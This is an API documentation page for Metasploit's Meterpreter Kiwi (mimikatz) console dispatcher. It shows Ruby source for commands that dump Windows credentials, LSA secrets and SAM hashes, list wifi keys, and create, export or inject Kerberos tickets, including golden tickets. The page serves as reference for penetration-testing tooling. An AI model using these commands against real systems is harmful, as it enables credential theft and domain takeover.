Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Kiwi

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb

Overview

Kiwi extension - grabs credentials from windows memory.

Benjamin DELPY ‘gentilkiwi` blog.gentilkiwi.com/mimikatz

extension converted by OJ Reeves (TheColonial)

Constant Summary collapse

Klass =
Console::CommandDispatcher::Kiwi
@@golden_ticket_create_opts =

Valid options for the golden ticket creation functionality.

Rex::Parser::Arguments.new(
  '-h' => [ false, 'Help banner' ],
  '-u' => [ true,  'Name of the user to create the ticket for' ],
  '-i' => [ true,  'ID of the user to associate the ticket with' ],
  '-g' => [ true,  'Comma-separated list of group identifiers to include (eg: 501,502)' ],
  '-d' => [ true,  'Name of the target domain (FQDN)' ],
  '-k' => [ true,  'krbtgt domain user NTLM hash' ],
  '-t' => [ true,  'Local path of the file to store the ticket in' ],
  '-s' => [ true,  'SID of the domain' ]
)
@@kerberos_ticket_list_opts =

Valid options for the ticket listing functionality.

Rex::Parser::Arguments.new(
  '-h' => [ false, 'Help banner' ],
  '-e' => [ false, 'Export Kerberos tickets to disk' ],
  '-p' => [ true,  'Path to export Kerberos tickets to' ]
)
@@creds_opts =
Rex::Parser::Arguments.new(
  '-o' => [ true,  'Write the output to the specified file.' ],
  '-h' => [ false, 'Help menu.' ]
)

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #log_error, #msf_loaded?, set_hash

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #help_to_s, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_filenames, #update_prompt

Constructor Details

#initialize(shell) ⇒ Kiwi

Initializes an instance of the priv command interaction. This function also outputs a banner which gives proper acknowledgement to the original author of the Mimikatz 2.0 software.



37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 37

def initialize(shell)
  super
  print_line
  print_line
  print_line("  .#####.   mimikatz 2.0 alpha (#{client.platform}) release \"Kiwi en C\"")
  print_line(" .## ^ ##.")
  print_line(" ## / \\ ##  /* * *")
  print_line(" ## \\ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )")
  print_line(" '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)")
  print_line("  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */")
  print_line

  if client.platform =~ /x86/ and client.sys.config.sysinfo['Architecture'] =~ /x64/
    print_line
    print_warning('Loaded x86 Kiwi on an x64 architecture.')
  end
end

Instance Method Details

#cmd_creds_all(*args) ⇒ Object

Dump all the possible credentials to screen.



382
383
384
385
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 382

def cmd_creds_all(*args)
  method = Proc.new { client.kiwi.all_pass }
  scrape_passwords('all', method, args)
end

#cmd_creds_kerberos(*args) ⇒ Object

Dump all Kerberos credentials to screen.



430
431
432
433
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 430

def cmd_creds_kerberos(*args)
  method = Proc.new { client.kiwi.kerberos }
  scrape_passwords('kerberos', method, args)
end

#cmd_creds_livessp(*args) ⇒ Object

Dump all LiveSSP credentials to screen.



406
407
408
409
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 406

def cmd_creds_livessp(*args)
  method = Proc.new { client.kiwi.livessp }
  scrape_passwords('livessp', method, args)
end

#cmd_creds_msv(*args) ⇒ Object

Dump all msv credentials to screen.



398
399
400
401
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 398

def cmd_creds_msv(*args)
  method = Proc.new { client.kiwi.msv }
  scrape_passwords('msv', method, args)
end

#cmd_creds_ssp(*args) ⇒ Object

Dump all SSP credentials to screen.



414
415
416
417
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 414

def cmd_creds_ssp(*args)
  method = Proc.new { client.kiwi.ssp }
  scrape_passwords('ssp', method, args)
end

#cmd_creds_tspkg(*args) ⇒ Object

Dump all TSPKG credentials to screen.



422
423
424
425
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 422

def cmd_creds_tspkg(*args)
  method = Proc.new { client.kiwi.tspkg }
  scrape_passwords('tspkg', method, args)
end

#cmd_creds_usage(provider) ⇒ Object

Displays information about the various creds commands



372
373
374
375
376
377
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 372

def cmd_creds_usage(provider)
  print_line("Usage: creds_#{provider} [options]")
  print_line
  print_line("Dump #{provider} credentials.")
  print_line(@@creds_opts.usage)
end

#cmd_creds_wdigest(*args) ⇒ Object

Dump all wdigest credentials to screen.



390
391
392
393
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 390

def cmd_creds_wdigest(*args)
  method = Proc.new { client.kiwi.wdigest }
  scrape_passwords('wdigest', method, args)
end

#cmd_golden_ticket_create(*args) ⇒ Object

Invoke the golden kerberos ticket creation functionality on the target.



167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 167

def cmd_golden_ticket_create(*args)
  if args.include?("-h")
    golden_ticket_create_usage
    return
  end

  user = nil
  domain = nil
  sid = nil
  tgt = nil
  target = nil
  id = 0
  group_ids = []

  @@golden_ticket_create_opts.parse(args) { |opt, idx, val|
    case opt
    when '-u'
      user = val
    when '-d'
      domain = val
    when '-k'
      tgt = val
    when '-t'
      target = val
    when '-i'
      id = val.to_i
    when '-g'
      group_ids = val.split(',').map { |g| g.to_i }.to_a
    when '-s'
      sid = val
    end
  }

  # all parameters are required
  unless user && domain && sid && tgt && target
    golden_ticket_create_usage
    return
  end

  ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids)

  ::File.open( target, 'wb' ) do |f|
    f.write(ticket)
  end

  print_good("Golden Kerberos ticket written to #{target}")
end

#cmd_kerberos_ticket_list(*args) ⇒ Object

Invoke the kerberos ticket listing functionality on the target machine.



237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 237

def cmd_kerberos_ticket_list(*args)
  if args.include?('-h')
    kerberos_ticket_list_usage
    return
  end

  # default to not exporting
  export = false
  # default to the current folder for dumping tickets
  export_path = '.'

  @@kerberos_ticket_list_opts.parse(args) { |opt, idx, val|
    case opt
    when '-e'
      export = true
    when '-p'
      export_path = val
    end
  }

  tickets = client.kiwi.kerberos_ticket_list(export)

  fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags']
  fields << 'Export Path' if export

  table = Rex::Ui::Text::Table.new(
    'Header'    => 'Kerberos Tickets',
    'Indent'    => 0,
    'SortIndex' => 0,
    'Columns'   => fields
  )

  tickets.each do |t|
    flag_list = client.kiwi.to_kerberos_flag_list(t[:flags]).join(", ")
    values = [
      "#{t[:server]} @ #{t[:server_realm]}",
      "#{t[:client]} @ #{t[:client_realm]}",
      t[:start],
      t[:end],
      t[:max_renew],
      "#{t[:flags].to_s(16).rjust(8, '0')} (#{flag_list})"
    ]

    # write out each ticket to disk if export is enabled.
    if export
      path = '<no data retrieved>'
      if t[:raw]
        id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
        file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
        path = ::File.expand_path(File.join(export_path, file))
        ::File.open(path, 'wb') do |x|
          x.write t[:raw]
        end
      end
      values << path
    end

    table << values
  end

  print_line
  print_line(table.to_s)
  print_line("Total Tickets : #{tickets.length}")
end

#cmd_kerberos_ticket_purge(*args) ⇒ Object

Invoke the kerberos ticket purging functionality on the target machine.



305
306
307
308
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 305

def cmd_kerberos_ticket_purge(*args)
  client.kiwi.kerberos_ticket_purge
  print_good('Kerberos tickets purged')
end

#cmd_kerberos_ticket_use(*args) ⇒ Object

Use a locally stored Kerberos ticket in the current session.



313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 313

def cmd_kerberos_ticket_use(*args)
  if args.length != 1
    print_line('Usage: kerberos_ticket_use ticketpath')
    return
  end

  target = args[0]
  ticket  = ''
  ::File.open(target, 'rb') do |f|
    ticket += f.read(f.stat.size)
  end

  print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes")
  client.kiwi.kerberos_ticket_use(ticket)
  print_good('Kerberos ticket applied successfully')
end

#cmd_lsa_dump(*args) ⇒ Object

Invoke the LSA secret dump on thet target.



79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 79

def cmd_lsa_dump(*args)
  check_privs

  print_status('Dumping LSA secrets')
  lsa = client.kiwi.lsa_dump

  # the format of this data doesn't really lend itself nicely to
  # use within a table so instead we'll dump in a linear fashion

  print_line("Policy Subsystem : #{lsa[:major]}.#{lsa[:minor]}") if lsa[:major]
  print_line("Domain/Computer  : #{lsa[:compname]}") if lsa[:compname]
  print_line("System Key       : #{to_hex(lsa[:syskey])}")
  print_line("NT5 Key          : #{to_hex(lsa[:nt5key])}")
  print_line
  print_line("NT6 Key Count    : #{lsa[:nt6keys].length}")

  if lsa[:nt6keys].length > 0
    lsa[:nt6keys].to_enum.with_index(1) do |k, i|
      print_line
      index = i.to_s.rjust(2, ' ')
      print_line("#{index}. ID           : #{Rex::Text::to_guid(k[:id])}")
      print_line("#{index}. Value        : #{to_hex(k[:value])}")
    end
  end

  print_line
  print_line("Secret Count     : #{lsa[:secrets].length}")
  if lsa[:secrets].length > 0
    lsa[:secrets].to_enum.with_index(1) do |s, i|
      print_line
      index = i.to_s.rjust(2, ' ')
      print_line("#{index}. Name         : #{s[:name]}")
      print_line("#{index}. Service      : #{s[:service]}") if s[:service]
      print_line("#{index}. NTLM         : #{to_hex(s[:ntlm])}") if s[:ntlm]
      if s[:current] || s[:current_raw]
        current = s[:current] || to_hex(s[:current_raw], ' ')
        print_line("#{index}. Current      : #{current}")
      end
      if s[:old] || s[:old_raw]
        old = s[:old] || to_hex(s[:old_raw], ' ')
        print_line("#{index}. Old          : #{old}")
      end
    end
  end

  print_line
  print_line("SAM Key Count    : #{lsa[:samkeys].length}")
  if lsa[:samkeys].length > 0
    lsa[:samkeys].to_enum.with_index(1) do |s, i|
      print_line
      index = i.to_s.rjust(2, ' ')
      print_line("#{index}. RID          : #{s[:rid]}")
      print_line("#{index}. User         : #{s[:user]}")
      print_line("#{index}. LM Hash      : #{to_hex(s[:lm_hash])}")
      print_line("#{index}. NTLM Hash    : #{to_hex(s[:ntlm_hash])}")
    end
  end

  print_line
end

#cmd_wifi_list(*args) ⇒ Object

Dump all the wifi profiles/credentials



333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 333

def cmd_wifi_list(*args)
  results = client.kiwi.wifi_list

  if results.length > 0
    results.each do |r|
      table = Rex::Ui::Text::Table.new(
        'Header'    => "#{r[:desc]} - #{r[:guid]}",
        'Indent'    => 0,
        'SortIndex' => 0,
        'Columns'   => [
          'Name', 'Auth', 'Type', 'Shared Key'
        ]
      )

      print_line
      r[:profiles].each do |p|
        table << [p[:name], p[:auth], p[:key_type], p[:shared_key]]
      end

      print_line(table.to_s)
      print_line("State: #{r[:state]}")
    end
  else
    print_line
    print_error('No wireless profiles found on the target.')
  end

  print_line
  return true
end

#commandsObject

List of supported commands.



58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 58

def commands
  {
    'creds_wdigest'         => 'Retrieve WDigest creds',
    'creds_msv'             => 'Retrieve LM/NTLM creds (hashes)',
    'creds_livessp'         => 'Retrieve LiveSSP creds',
    'creds_ssp'             => 'Retrieve SSP creds',
    'creds_tspkg'           => 'Retrieve TsPkg creds',
    'creds_kerberos'        => 'Retrieve Kerberos creds',
    'creds_all'             => 'Retrieve all credentials',
    'golden_ticket_create'  => 'Create a golden kerberos ticket',
    'kerberos_ticket_use'   => 'Use a kerberos ticket',
    'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets',
    'kerberos_ticket_list'  => 'List all kerberos tickets',
    'lsa_dump'              => 'Dump LSA secrets',
    'wifi_list'             => 'List wifi profiles/creds'
  }
end

#golden_ticket_create_usageObject

Output the usage for the ticket listing functionality.



157
158
159
160
161
162
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 157

def golden_ticket_create_usage
  print_line('Usage: golden_ticket_create [options]')
  print_line
  print_line('Create a golden kerberos ticket that expires in 10 years time.')
  print_line(@@golden_ticket_create_opts.usage)
end

#kerberos_ticket_list_usageObject

Output the usage for the ticket listing functionality.



227
228
229
230
231
232
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 227

def kerberos_ticket_list_usage
  print_line('Usage: kerberos_ticket_list [options]')
  print_line
  print_line('List all the available Kerberos tickets.')
  print_line(@@kerberos_ticket_list_opts.usage)
end

#nameObject

Name for this dispatcher



28
29
30
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb', line 28

def name
  'Kiwi'
end